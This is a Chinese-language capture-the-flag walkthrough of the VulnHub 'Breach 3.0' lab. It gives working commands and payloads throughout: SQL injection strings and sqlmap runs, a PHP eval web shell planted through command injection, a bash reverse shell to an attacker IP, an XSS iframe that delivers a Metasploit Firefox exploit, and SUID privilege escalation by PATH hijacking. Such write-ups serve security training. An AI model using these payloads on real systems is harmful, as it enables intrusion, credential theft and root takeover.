Breach 3.0 是一个用于网络安全训练的虚拟靶场(Cyber Range),旨在为网络安全专业人员、学生、研究人员以及企业提供一个模拟真实网络环境的安全测试和训练平台。它通过虚拟化技术模拟复杂的网络架构和攻击场景,帮助用户练习检测、防御和应对网络攻击的技能。
安装:
官网地址:www.vulnhub.com/entry/breac...,将下载的环境解压出来,使用vm导入环境即可。
靶场提示:
swift
密码1:thelaststraw
密码2:damnitfeel$goodtobeagang$ta
靶场中存在虚拟机qemu(两个)
目标:拿下3个flag(分别是:flag1、flag2、flag3)
查看虚拟机的网段
192.168.244.0/24
编辑
->虚拟网路编辑器

获取目标ip
css
netdiscover -i eth0 -r 192.168.244.0/24
netdiscover
肯定和神器nmap
无法相提并论。但是netdiscover也有它自身独特的优势,比如针对局域网的扫描比较快速准确,并将结果以列表的形式展现出来。而nmap相对来说比较耗时。

发现ip
192.168.244.142
,如果无法确定是哪个ip,可以先把Breach3.0关掉,然后在打开,看新增的是哪个ip。
扫描次ip的端口:
nmap -sU 192.168.244.142
-sU:指定发起UDP扫描
nmap 192.168.244.142

信息收集列表:
ip | 信息内容 | 端口 | 说明 |
---|---|---|---|
192.168.244.142 | 端口 | 999 | |
端口 | 161 | snmp | |
网卡信息 | 00:50:56:F3:24:9E |
通过snmp协议信息收集
arduino
snmpwalk -Os -c public -v 1 192.168.244.142
参数:
-Os:输出时显示 OID(对象标识符)的简短名称,而不是完整的 OID 路径。
-c public:指定 SNMP 社区字符串为 public,这是默认的只读社区字符串。
-v 1:指定使用 SNMP 版本 1(SNMPv1)。
192.168.244.142:目标设备的 IP 地址,即你要查询的 SNMP 设备。
作者留下的重要信息:
ini
iso.3.6.1.2.1.1.4.0 = STRING: "Email: Milton@breach.local - (545)-232-1876"
iso.3.6.1.2.1.1.5.0 = STRING: "Initech-DMZ01"
iso.3.6.1.2.1.1.6.0 = STRING: "Initech - is this thing on? I doubt anyone thinks to look here, anyways, I've left myself a way back in and burn the place down once again."
根据提示,可能使用了端口隐藏技术,(545)-232-1876 是三个端口545、232、1876;
使用knocker敲门
bash
wget https://gh-proxy.com/https://github.com/adaywithtape/knocker/blob/master/knocker.sh
chmod +x knocker.sh
./knocker.sh -i 192.168.244.142 -p 545,232,1876

再次使用nmap扫描:
nmap 192.168.244.142
结果:

PORT | STATE | SERVICE |
---|---|---|
22/tcp | open | ssh |
23/tcp | open | telnet |
2048/tcp | open | dls-monitor |
5800/tcp | open | vnc-http |
10009/tcp | open | swdtp-sv |
10010/tcp | open | rxapi |
ssh连接,尝试弱口令
尝试root、admin、123456后,都提示密码错误。

这边又有提示555-423-1800,我们再把这个当隐藏端口序列试试;
css
./knocker.sh -i 192.168.244.142 -p 555,423,1800
再次扫描:
nmap 192.168.244.142

发现目标隐藏起来的 8 端口
http访问8端口
192.168.244.142:8
使用旧版本的火狐浏览器登录后,发现用户名是:milton,根据靶机的提示输入密码:thelaststraw

登录后:

点击place:

这边是登录框,尝试弱口令、sql注入、xss、CSRF等方式。
sql注入
在登录的窗口转包,并把请求内容保存成1.txt

css
sqlmap -r 1.txt --auth-type=Basic --auth-cred=milton:thelaststraw --proxy=http://127.0.0.1:8080 --tamper=equaltolike --level=5 --risk=3 --dbms=mysql --dbs

执行之后出现一个302跳转界面,这里提示数据是否提交到302的跳转界面,要选择n,不要将数据提交过去,其他的情况都是y。
成功注入,得到数据库信息:

password参数存在布尔盲注与时间盲注漏洞。
sql
---
Parameter: password (POST)
Type: boolean-based blind
Title: OR boolean-based blind - WHERE or HAVING clause
Payload: username=admin&password=-1850' OR 7115=7115-- VLih&submit= Login
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: username=admin&password=admin' AND (SELECT 9349 FROM (SELECT(SLEEP(5)))tOux)-- pjaR&submit= Login
---
得到一个数据库thebobs
与backups
go
sqlmap -r 1.txt --auth-type=Basic --auth-cred=milton:thelaststraw --proxy=http://127.0.0.1:8080 --tamper=equaltolike --dbms=mysql --tables -D thebobs -p password
sqlmap -r 1.txt --auth-type=Basic --auth-cred=milton:thelaststraw --proxy=http://127.0.0.1:8080 --tamper=equaltolike --dbms=mysql --tables -D backups -p password

查看里面的数据:
css
sqlmap -r 1.txt --auth-type=Basic --auth-cred=milton:thelaststraw --proxy=http://127.0.0.1:8080 --tamper=equaltolike --technique=B --dbms=mysql --dump -D thebobs -T login -p password
获取到一个账号密码:

admin
:8f4fadb24304d60d9dcb1589aa6a5c2d2d373229
css
sqlmap -r 1.txt --auth-type=Basic --auth-cred=milton:thelaststraw --proxy=http://127.0.0.1:8080 --tamper=equaltolike --technique=B --dbms=mysql --dump -D backups -T info -p password
backups-info中的数据:

id | comments | password | username |
---|---|---|---|
1 | Trying out a new encryption method, not in production yet | Vmxab2QxRXlTbGRqU0VaVlYwaENjVlJVUmt0aU1XeFhXWHBHVjFKVk5YVlZSbEYzVTNkdlBRbz0K | blumbergh |
2 | Account disabled after he went off the rails. No need to encrypt | thelaststraw | milton |
3 | :) | ? | root |
密码破解
在kali中查看这个密文是使用什么加密的
hashid 8f4fadb24304d60d9dcb1589aa6a5c2d2d373229

使用www.somd5.com/,破解是:randomhash
blumbergh经过5次的base64破解得到:C0ff33stainS
5次的破解路径如下:
Vmxab2QxRXlTbGRqU0VaVlYwaENjVlJVUmt0aU1XeFhXWHBHVjFKVk5YVlZSbEYzVTNkdlBRbz0K VlZod1EySldjSEZVV0hCcVRURktiMWxXWXpGV1JVNXVVRlF3U3dvPQo= VVhwQ2JWcHFUWHBqTTFKb1lWYzFWRU5uUFQwSwo= UXpCbVpqTXpjM1JoYVc1VENnPT0K QzBmZjMzc3RhaW5TCg== C0ff33stainS
登录网站
根据sqlmap的检测我们知道password字段有注入点,输入
ini
-1850' OR 7115=7115-- VLih
我们优化下,输入:
' or '1' ='1
bash
http://192.168.244.142:8/breach3/index.php

登录Intech Home>Employee portal>Livechat
地址:
bash
http://192.168.244.142:8/breach3/thebobscloudhostingllc/livechat.php

随便输入内容,提交后,路劲该改变:
bash
http://192.168.244.142:8/breach3/thebobscloudhostingllc/livechat.php?searcher=Submit#
searcher=Submit
是突破口,有命令执行的漏洞,我们输入
bash
http://192.168.244.142:8/breach3/thebobscloudhostingllc/livechat.php?searcher=whoami#

这个web的系统账号samir。
获取代码路径:
bash
pwd
/var/www/html/breach3/thebobscloudhostingllc
使用蚁剑
创建s.php文件,共蚁剑访问,具体请求如下:
bash
http://192.168.244.142:8/breach3/thebobscloudhostingllc/livechat.php?searcher=echo '<?php @eval($_POST[5574]); ?>' >s.php

蚁剑访问地址如下:
bash
http://192.168.244.142:8/breach3/thebobscloudhostingllc/s.php
由于使用了basic认证模式,所以 需要添加header的参数:Authorization
,并对milton:thelaststraw进行base64编码,值为:
Basic bWlsdG9uOnRoZWxhc3RzdHJhdw==
,具体的蚁剑配置如下:


成功连接:

找到一个flag:
arduino
/home/thebobs/flag1

没有权限打开,只有文件归属于:thebobs
一般进站后收集的内容有:
bash
/etc/passwd
/home #一般home目录都有访问权限
/etc/ssh/sshd_config
/etc/crontab
sudo -l
ifconfig #网络信息
/var/www/html/ #收集网站信息,看看数据库
- sudo -l

samir用户可以使用thebobs的chmod授权功能,既能能直接修改flag1的权限;
执行:
bash
#指定使用thebobs用户执行chmod,修改权限
sudo -u thebobs chmod 777 flag1

获取到flag1的信息:
breach3{the_dmz_is_burning}
- /home信息收集:
bash
查看/home/thebobs的权限:
ls -la /home/thebobs
ls -la /home/thebobs/.ssh


authorized_keys也有修改的权限,那么考虑通过ssh免密登录的方式。
bash
查看sshd_config的配置,是否可以使用thebobs进行ssh登录
/etc/ssh/sshd_config

这边的意思是只允许thebobs登录。
-
根据源码找数据库账号密码:
账号
root
, 没有密码

由于在蚁剑中shell为非交互式的,

下使用thebobs账号免密登录试试看。
免密登录thebobs账号
- 蚁剑中运行
把公钥的信息复制到authorized_keys,那是使用这个私钥的信息就能免密登录这台服务器了。
bash
cat /home/thebobs/.ssh/id_rsa.pub > /home/thebobs/.ssh/authorized_keys
修改authorized_keys与.ssh的权限,才能登录,不然还是无法登录
bash
sudo -u thebobs chmod 600 /home/thebobs/.ssh/authorized_keys
sudo -u thebobs chmod 700 /home/thebobs/.ssh
- kali中运行
把私钥信息复制到kali本地的id_rsa文件中,并执行免密登录命令
ini
chmod 700 id_rsa
ssh -i id_rsa 192.168.244.142 -l thebobs -o PubkeyAcceptedKeyTypes=ssh-rsa
-l 这个选项指定了要以哪个用户身份登录到远程服务器
-o PubkeyAcceptedKeyTypes=ssh-rsa 这个选

进入bin/bash的交互式命令行:
arduino
import pty;pty.spawn('/bin/bash')

现在登录mysql,能正常访问

ini
mysql -uroot
show databases;
use backups;
show tables;
select * from info;
由于之前slq注入的时候已经收集了些信息,这边就不在收集;
-
收集网络信息
ifconfig

内网地址段的探测:192.168.122 网段
bash
for i in $(seq 2 254); do ping -c 1 192.168.122.$i -w 1 | grep "bytes from "; done

得到内网中存活的两台虚拟机的IP地址:192.168.122.28
和192.168.122.65
收集新的服务器信息
在192.168.244.142 有nmap软件,我们直接使用nmap进行扫描:
css
nmap -p- -A 192.168.122.28 192.168.122.65
-p-:扫描所有端口(1 到 65535)。
-A:启用操作系统检测、版本检测、脚本扫描和路由跟踪等高级功能。
获取192.168.122.65开启的端口信息
vbscript
22/tcp open ssh OpenSSH 6.7p1 Debian 5+deb8u3 (protocol 2.0)
|_ssh-hostkey: ERROR: Script execution failed (use -d to debug)
80/tcp open http Apache httpd 2.4.10 ((Debian))
|_http-methods: No Allow or Public header in OPTIONS response (status code 200)
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
8800/tcp open http nginx 1.6.2
| http-auth:
| HTTP/1.1 401 Unauthorized
|_ Basic realm=Restricted Area
|_http-methods: No Allow or Public header in OPTIONS response (status code 401)
|_http-title: 401 Authorization Required
192.168.122.65的80端口测试
把192.168.122.65的80端口转发到kali服务器的端口,方便我们访问
ini
ssh -i id_rsa 192.168.244.142 -l thebobs -o PubkeyAcceptedKeyTypes=ssh-rsa -L 192.168.244.140:18080:192.168.122.65:80

访问192.168.244.140:18080,能正常访问成功!

有PDF Converter功能,测试是否有存在漏洞
PDF Converter漏洞是无回显的RCE类型的漏洞。如果验证该漏洞存在的话,可以使用延时函数:sleep;
使用burp suite抓包重放,有效果,即使有这个漏洞。

使用新增一个一句话木马文件,
bash
`echo '<?php @eval($_POST[5574]); ?>' >s.php`
访问地址:
http://192.168.244.140:18080/intranet/s.php


peter目录下找到对应的flag2,但是没有权限:

samir在/home/samir/.notes.txt找到密码:samir:infosecrockstar
网站文件分析:html2是samir账号下的文件,估计可以使用上面的密码,html目录下没有找到数据库信息;
由于在蚁剑中有些命令无法执行,需要通过反弹shell执行。
在kali开启nc接收反弹的shell会话
yaml
nc -lvvp 2323

在蚁剑的命令行中执行
bash
/bin/bash -c 'bash -i >& /dev/tcp/192.168.244.140/2323 0>&1'
#如果是通过url执行需要优化代码,在URL网址中的 & 符号代表参数。因此需要进行转码才能使 & 符生效。
bash
/bin/bash -c 'bash -i >%26 /dev/tcp/10.0.0.20/2323 0>%261'

连接上后,设置交互性shell
ruby
www-data@Initech:/var/www/html/intranet$ tty
tty
not a tty
www-data@Initech:/var/www/html/intranet$ python -c "import pty;pty.spawn('/bin/bash')"
<tml/intranet$ python -c "import pty;pty.spawn('/bin/bash')"
www-data@Initech:/var/www/html/intranet$ tty
tty
/dev/pts/1
查看home下面各个账号的信息,没有192.168.244.142服务器那样给我们.ssh修改的权限,所以无法通过免密登录方式登录账号。
尝试使用peter、samir 、thebobs三个账号与我们手机到的密码测试;
使用peter:damnitfeel <math xmlns="http://www.w3.org/1998/Math/MathML"> g o o d t o b e a g a n g goodtobeagang </math>goodtobeagangta 能正常登录;
进入交互式命令行:
arduino
import pty;pty.spawn('/bin/bash')

获取到flag2的信息:
ruby
peter@Initech:~$ cat flag2
cat flag2
breach3{what_secrets_is_bill_hiding?}
根据flag2的提示:what secrets is bill hiding (bill隐瞒了什么秘密),flag3应该是bill这台服务器上,而bill这台机器其实是我们前面做信息收集,扫描虚拟机的那台:bill-desktop IP地址为: 192.168.122.28 但是刚刚使用nmap进行扫描的时候,并没有发现bill-desktop这台机器开放任何端口。 那么此时的突破口依然还是在当前这台Peter的虚拟机上面,因此需要继续做信息收集。
netstat -lntp
bash
wget 192.168.244.140:8081/linpeas.sh
192.168.122.65的8800端口测试
根据之前收集的信息,8800是 nginx服务,我们先去看看nginx相关的文件收集信息。
nginx的路径:/etc/nginx
ini
/etc/nginx/sites-enabled/default -> /etc/nginx/sites-available/default
server {
listen 8800 default_server;
listen [::]:8800 default_server;
root /var/www/html2;
index index.html index.php index.htm index.nginx-debian.html;
server_name _;
location / {
try_files $uri $uri/support/index.php;
}
识别8800的网页路径:/var/www/html2
查看nginx日志文件
bash
cd /var/log/nginx
ls -la

将具有的可读的文件copy到/tmp目录中进行操作:
bash
cp access.log.9.gz /tmp
cd /tmp
gunzip access.log.9.gz
cat access.log.9
cat access.log.9 | grep 192.168.122.28
css
192.168.122.28 - - [29/Sep/2016:05:50:07 -0400] "GET /support/ticket.php HTTP/1.1" 200 160 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:22.0) Gecko/20100101 Firefox/22.0"
192.168.122.28 - - [29/Sep/2016:05:50:12 -0400] "GET /favicon.ico HTTP/1.1" 404 142 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:22.0) Gecko/20100101 Firefox/22.0"
192.168.122.28 - - [29/Sep/2016:05:50:12 -0400] "GET /favicon.ico HTTP/1.1" 404 142 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:22.0) Gecko/20100101 Firefox/22.0"
192.168.122.28 - - [29/Sep/2016:05:51:21 -0400] "GET /support/ticket.php HTTP/1.1" 404 47 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:22.0) Gecko/20100101 Firefox/22.0"
192.168.122.28 - - [29/Sep/2016:05:51:22 -0400] "GET /favicon.ico HTTP/1.1" 404 142 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:22.0) Gecko/20100101 Firefox/22.0"
192.168.122.28 - - [29/Sep/2016:05:51:22 -0400] "GET /favicon.ico HTTP/1.1" 404 142 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:22.0) Gecko/20100101 Firefox/22.0"
192.168.122.28 - - [29/Sep/2016:05:52:39 -0400] "GET /support/ticket.php HTTP/1.1" 200 160 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:22.0) Gecko/20100101 Firefox/22.0"
192.168.122.28 - - [29/Sep/2016:05:52:44 -0400] "GET /favicon.ico HTTP/1.1" 404 142 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:22.0) Gecko/20100101 Firefox/22.0"
192.168.122.28 - - [29/Sep/2016:05:52:44 -0400] "GET /favicon.ico HTTP/1.1" 404 142 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:22.0) Gecko/20100101 Firefox/22.0"
分析上面的内容192.168.122.28的会定时访问/support/ticket.php,通过Mozilla/5.0 (X11; Linux x86_64; rv:22.0) Gecko/20100101 Firefox/22.0
,Firefox/22.0也是会有漏洞的。
查看/support/ticket.php的源码:
bash
cd /var/www/html2/support/
cat ticket.php

会查询tickets的表信息;
kali端口转发设置:
ini
ssh -i id_rsa 192.168.244.142 -l thebobs -o PubkeyAcceptedKeyTypes=ssh-rsa -L 192.168.244.140:18081:192.168.122.65:8800
lazyadmin: <math xmlns="http://www.w3.org/1998/Math/MathML"> a p r 1 apr1 </math>apr1T/HawTDx$Rustt4xkTc.rtvGXTnpkV1
根据之前html2的目录是samir账号,我们可以使用下面账号试试
samir
|infosecrockstar


这边输入的信息与ticket.php中要展示的字段类似。
综合之前收集的信息,估计需要xss可以获取到192.168.122.28的shell,那么我们先试试xss,输入:
xml
<script>alert(1);</script>
通过burp suite拦截后设置

然后访问/support/ticket.php信息。

验证此漏洞之后,需要把提交的XSS漏洞的表单清除,不然192.168.122.28访问的时候会卡在这个弹窗上。
192.168.122.65的XSS漏洞利用
使用msfconsole查看firefox 20 Remote,并使用exploit/multi/browser/firefox_tostring_console_injection
arduino
search firefox 20 Remote
use exploit/multi/browser/firefox_tostring_console_injection
options
set srvhost 192.168.244.140
set srvport 18082
set uripath ticket
run

bash
xss注入点需要访问的地址:
http://192.168.244.140:18082/ticket
具体输入的内容是:
<iframe src="http://192.168.244.140:18082/ticket"> </iframe>

等待一段时间之后,MSF中会接受到来自靶机的会话。

注意每3分钟登录一次,这边登录的比较多,如果一直登录不上,可以重启的虚拟机,在试试。登录后,我们之前添加的xss数据删掉,避免有太多会话。由于目前会话很容易断开,所以切换到稳定的shell
arduino
use post/multi/manage/shell_to_meterpreter
set lhost 192.168.244.140
set session 1
run

bash
sessions 6
shell
#交互会话
python -c "import pty;pty.spawn('/bin/bash')"
通过分析目录firefox.sh文件与crontab,即使每个3分钟发送http请求到192.168.122.65
bash
cat firefox.sh
crontab -l
192.168.122.28信息收集
查看flag脚本
javascript
find / -name "flag*" 2>/dev/null
找不到flag3,查看home下面,有blumbergh账号,我们之前有收集到这个账号密码,我们可以切换这个账号试试;

再执行查找flag脚本,但是还是没有找到。估计是在root账号下,那么我们需要提权,我们先尝试SUID的提权。
查找有SUID权限的文件
typescript
find / -perm -u=s -type f 2>/dev/null

swingline文件很可疑,有SUID权限并且在blumbergh目录下。
分析swingline文件,通过strings分析看看:
arduino
strings /home/blumbergh/swingline

根据之前的经验,这个应该是坐着留下来的暗示。应该需要通过这个文件来获取root权限。另外 这边发现一个函数main,这个应该是入口函数。
arduino
file /home/blumbergh/swingline
通过结果可以判断该文件是一个可执行的二进制文件。尝试执行:
bash
./swingline

ruby
scp /home/blumbergh/swingline root@192.168.244.140:/tmp
gdb分析swingline
-
gdb安装
kali不会预安装gdb,所以我们需要安装,这边我们使用apt安装,我们先替换下源;
bashvim /etc/apt/sources.list
设置内地的源:
csharp#中科大Kali镜像源 deb http://mirrors.ustc.edu.cn/kali kali-rolling main non-free contrib deb-src http://mirrors.ustc.edu.cn/kali kali-rolling main non-free contrib #阿里云Kali镜像源 deb http://mirrors.aliyun.com/kali kali-rolling main non-free contrib deb-src http://mirrors.aliyun.com/kali kali-rolling main non-free contrib #清华大学Kali镜像源 deb http://mirrors.tuna.tsinghua.edu.cn/kali kali-rolling main contrib non-free deb-src https://mirrors.tuna.tsinghua.edu.cn/kali kali-rolling main contrib non-free
因为 Kali Linux 在 2025 年 4 月 28 日更新了签名密钥,但你的系统未导入新密钥。
bashsudo wget https://archive.kali.org/archive-keyring.gpg -O /usr/share/keyrings/kali-archive-keyring.gpg
csharp#更新软件包: apt-get update #安装gdb: apt install gdb #检查gdb: gdb -v #为了让 GDB 显示 system 函数的源码信息 apt install libc6-dbg

-
gdb swingline
对主函数main函数进行反编译: disassemble main

markdown
在反编译的过程中发现调用函数有:
**setuid@plt**
- **含义**:setuid 是一个 POSIX 系统调用,用于设置进程的**用户 ID**(UID)。@plt 表示这是通过过程链接表(PLT)调用的动态链接库函数,通常来自标准 C 库(如 glibc)。
- **作用**:它用于更改当前进程的实际用户 ID 或有效用户 ID,常用于需要提升或降低权限的程序(如切换到 root 权限)。参数是一个 uid_t 类型的用户 ID。
- **典型场景**:在需要以特定用户身份运行程序时使用,例如在 Linux 系统中某些需要特权的操作。
**strlen@plt**
- **含义**:strlen 是标准 C 库函数,用于计算以 null 结尾的字符串的长度(不包括终止符 \0)。@plt 表示动态链接调用。
- **作用**:接受一个字符串指针,返回字符串的字符数(size_t 类型)。
- **典型场景**:常用于处理字符串长度,例如在字符串操作或内存分配中。
**puts@plt**
- **含义**:puts 是标准 C 库函数,用于将以 null 结尾的字符串输出到标准输出(通常是终端),并自动追加一个换行符(\n)。@plt 表示动态链接调用。
- **作用**:接受一个字符串指针,将其输出到 stdout。
- **典型场景**:用于简单的字符串输出,例如打印提示信息或调试信息。
**encryptDecrypt**
- **含义**:这不是标准库函数,而是一个自定义函数,名称暗示它可能用于加密或解密操作。
- **作用**:根据名称推测,它可能实现某种对称加密/解密算法(如 XOR 加密、简单的自定义加密逻辑),用于处理数据加密或解密。具体的功能需要查看反编译后的代码实现。
- **典型场景**:可能用于保护程序中的敏感数据(如字符串、密钥等),或在通信中加密/解密数据。
**system@plt**
- **含义**:system 是标准 C 库函数,用于执行指定的 shell 命令。@plt 表示动态链接调用。
- **作用**:接受一个字符串参数,表示要执行的 shell 命令,并通过调用 shell(通常是 /bin/sh)来运行该命令,返回命令的退出状态。
- **典型场景**:用于执行外部命令,例如运行脚本、调用系统工具等。**注意**:使用 system 可能引入安全风险(如命令注入),特别是在处理用户输入时。
**main**
- **含义**:main 是 C/C++ 程序的入口函数,通常是程序执行的起点。
- **作用**:定义程序的主要逻辑,接受命令行参数(argc 和 argv),并返回一个整数表示程序的退出状态。
- **典型场景**:作为程序的起点,调用其他函数(如上述函数)来完成程序的功能。
根据我们采集到函数的含义,system可能使我们要找的函数,因为我们发现这个文件要跟操作系统交互,才会有SUID权限,那么执行shell命令就是与操作系统交互的一种方式。
-
我们调用下system,看下调用的是什么shell命令,设置断点调试:
arduinob system run

bash
ncat -6 -e /bin/bash 0:0:0:0:0:0:0:1 8889 >/dev/null 2>&1 && echo
调用的shell命令,其中ncat是相对路径,我们可以替换这个ncat,以获取root权限。
调用ncat的时候,把有用root权限的/bin/bash文件拷贝tmp目录,并给予授权,这样我们执行这个文件就能获取到root的权限了。
创建新的ncat文件
bash
#!/bin/bash
cp /bin/bash /tmp/shell
chmod +s /tmp/shell
bash
cd /tmp
echo '#!/bin/bash' > ncat
echo 'cp /bin/bash /tmp/shell' >> ncat
echo 'chmod +s /tmp/shell' >> ncat
chmod +x ncat
export PATH=/tmp:$PATH
/home/blumbergh/swingline
./shell -p
-p 选项通常用于需要以特定权限运行的脚本或程序中,例如系统管理脚本或需要以 root 权限运行的脚本。
它在 setuid 脚本中特别有用,因为它确保脚本以文件所有者的权限运行,而不会被调用者的环境变量或配置文件干扰。


全局目录查找flag3
bash
find / -name '*flag3*'
flag3文件的位置:
/root/Desktop/ / /flag3.txt
该文件所在的的目录路径是有空格存在的,因此还需要 \ 转义
cat /root/Desktop/\ /\ /flag3.txt

总结
通过本次通过的学习,大量的工作是在信息收集,没有搜集到关键的信息,就无法找到突破口。使用大很多技术,knocker、sqlmap、密码破解、xss漏洞、蚁剑、免密登录、PDF Converter漏洞与反编译等技术,收货满满!